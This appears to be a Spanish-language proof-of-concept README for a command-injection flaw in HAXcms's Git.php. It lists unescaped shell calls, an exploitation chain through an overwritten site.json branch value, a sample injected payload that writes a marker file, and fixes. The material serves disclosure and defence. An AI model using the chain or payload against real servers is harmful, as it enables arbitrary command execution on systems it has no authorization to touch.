
PoC e informe para CVE-2026-46394: inyección de comandos del sistema operativo en HAXcms Git.php (CWE-78). Solo para investigación de seguridad autorizada.
Git.php de HAXcms (CWE-78)Prueba de concepto solo para pruebas de seguridad autorizadas e investigación. La vulnerabilidad descrita aquí está corregida en la última versión de HAXcms. Esta PoC se publica para que defensores e investigadores puedan verificar el problema en instancias no parcheadas que posean o tengan autorización explícita para probar.
| CVE | CVE-2026-46394 |
| Componente | HAXcms PHP backend - system/backend/php/lib/Git.php |
| Vulnerabilidad | Inyección de Comandos del SO (CWE-78) |
| Gravedad | Alta - CVSS 3.1 7.2 independiente / 8.1 encadenada con path traversal |
| Estado | Corregido. Afecta versiones anteriores al parche. |
| Proyecto | elmsln/HAXcms |
| Reportero | Shreyas Challa ([email protected]) |
La biblioteca Git.php en el backend PHP de HAXcms construye cadenas de comandos del shell concatenando parámetros no sanitizados y los pasa directamente a proc_open(). De las 17 funciones que ejecutan comandos del shell, solo una (commit()) usa escapeshellarg(). Las 15 restantes interpolan la entrada del llamante directamente en la cadena de comandos. Cualquier valor que contenga metacaracteres del shell (&, ;, |, $(), comillas invertidas) que llegue a una de estas funciones resulta en ejecución arbitraria de comandos del SO como el usuario del servidor web. La única función escapada correctamente es la evidencia más clara de que el escape se entendió y simplemente se omitió en todas partes.
Cada función vulnerable fluye a través de run() → run_command() → proc_open():
// Git.php:408-411 - builds a raw command string
public function run($command) {
return $this->run_command(Git::get_bin() . " " . $command);
}
// Git.php:383 - executes it via the system shell
$resource = proc_open($command, $descriptors, $pipes, $this->repo_path, $env);
Ejemplo vulnerable vs. la única función segura:
// Git.php:574 - VULNERABLE (no escaping)
public function create_branch($branch) {
return $this->run("branch $branch");
}
// Git.php:496 - SAFE (proves the author knew the pattern)
public function commit($message = "") {
return $this->run("commit -av -m " . escapeshellarg($message));
}
| Función | Línea | Comando del shell | ¿Escapada? |
|---|---|---|---|
create_branch($branch) | 574 | branch $branch | NO |
delete_branch($branch) | 588 | branch -d $branch | NO |
checkout($branch) | 663 | checkout $branch | NO |
merge($branch) | 677 | merge $branch --no-ff | NO |
push($remote, $branch) | 785 | push $remote $branch $flags | NO |
pull($remote, $branch) | 799 | pull $remote $branch | NO |
log($format) | 813 | log --pretty=format:"$format" | NO |
show($commit, $format) | 830 | show --pretty=format:"$format" $commit | NO |
list_tags($pattern) | 763 | tag -l $pattern | NO |
clone_to($target) | 512 | clone --local $repo $target | NO |
clone_from($source) | 527 | clone --local $source $repo | NO |
clone_remote($source) | 543 | clone $source $repo | NO |
set_remote($dest, $url) | 460 | remote add $dest $url | NO |
rm($files) |
En el código base distribuido, estas funciones se invocan con valores extraídos de la configuración del servidor/sitio en lugar de directamente de los cuerpos de las solicitudes, por lo que la explotación se logra encadenando:
saveOutline para sobrescribir el site.json de un sitio, inyectando metacaracteres en metadata.site.git.branch. La siguiente llamada gitCommit() ejecuta push('origin', $branch) en HAXCMSSite.php:584, ejecutando el payload.create_branch() (Operations.php:2762) o set_remote() (HAXCMSSite.php:625).La PoC maneja directamente la biblioteca Git.php real: crea un repositorio git temporal, llama a create_branch() con un payload que utiliza un separador de comandos del shell y confirma la ejecución verificando la existencia de un archivo de prueba escrito en disco. Se limpia a sí misma.
git en PATHgit clone https://github.com/elmsln/HAXcms.git
git clone https://github.com/shreyas-challa/CVE-2026-46394-haxcms-git-command-injection.git
cd CVE-2026-46394-haxcms-git-command-injection
Apunte la PoC al Git.php de su clon de HAXcms (variable de entorno o primer argumento); también auto-descubre haxcms-php/ colocado junto a ella:
# Opción A - variable de entorno
HAXCMS_PHP=../HAXcms/haxcms-php/system/backend/php/lib/Git.php php poc_git_cmdi.php
# Opción B - argumento CLI
php poc_git_cmdi.php ../HAXcms/haxcms-php/system/backend/php/lib/Git.php
Funciona tanto en Unix (separador ;) como en Windows (separador &); la PoC selecciona el payload correcto para el SO del anfitrión automáticamente.
================================================================
HAXcms Git.php - OS Command Injection (CWE-78)
================================================================
STEP 3: Inject OS command via create_branch()
Payload: test & echo COMMAND_INJECTION_PROOF > "...\PWNED.txt"
STEP 4: Verify injected command executed
FILE FOUND!
Content: COMMAND_INJECTION_PROOF
COMMAND INJECTION CONFIRMED.
Aplique escapeshellarg() a cada parámetro en las 15 funciones:
// ANTES
public function create_branch($branch) {
return $this->run("branch " . $branch);
}
// DESPUÉS
public function create_branch($branch) {
return $this->run("branch " . escapeshellarg($branch));
}
Defensa en profundidad: valide los valores antes de que lleguen a la capa de git:
function validateBranchName($branch) {
return preg_match('/^[a-zA-Z0-9._\/-]+$/', $branch) && strpos($branch, '..') === false;
}
Actualice a la última versión de HAXcms, que contiene la corrección ascendente.
Este problema fue reportado a los mantenedores de HAXcms y corregido antes de la publicación. La PoC se publica solo después de que un parche estuvo disponible. Úsela exclusivamente contra sistemas que posea o tenga autorización explícita para probar.
Este material se proporciona para investigación defensiva, educación y pruebas de seguridad autorizadas. Ejecutarlo contra sistemas sin permiso explícito puede ser ilegal. Usted es el único responsable de cumplir con todas las leyes aplicables y de obtener autorización antes de las pruebas. Se proporciona 'tal cual' sin garantía (ver LICENSE).
| 479 |
rm $files |
| NO |
add_tag($tag, $msg) | 749 | tag -a $tag -m $msg | $tag: NO, $msg: sí |
commit($message) | 496 | commit -av -m $message | SÍ (la única segura) |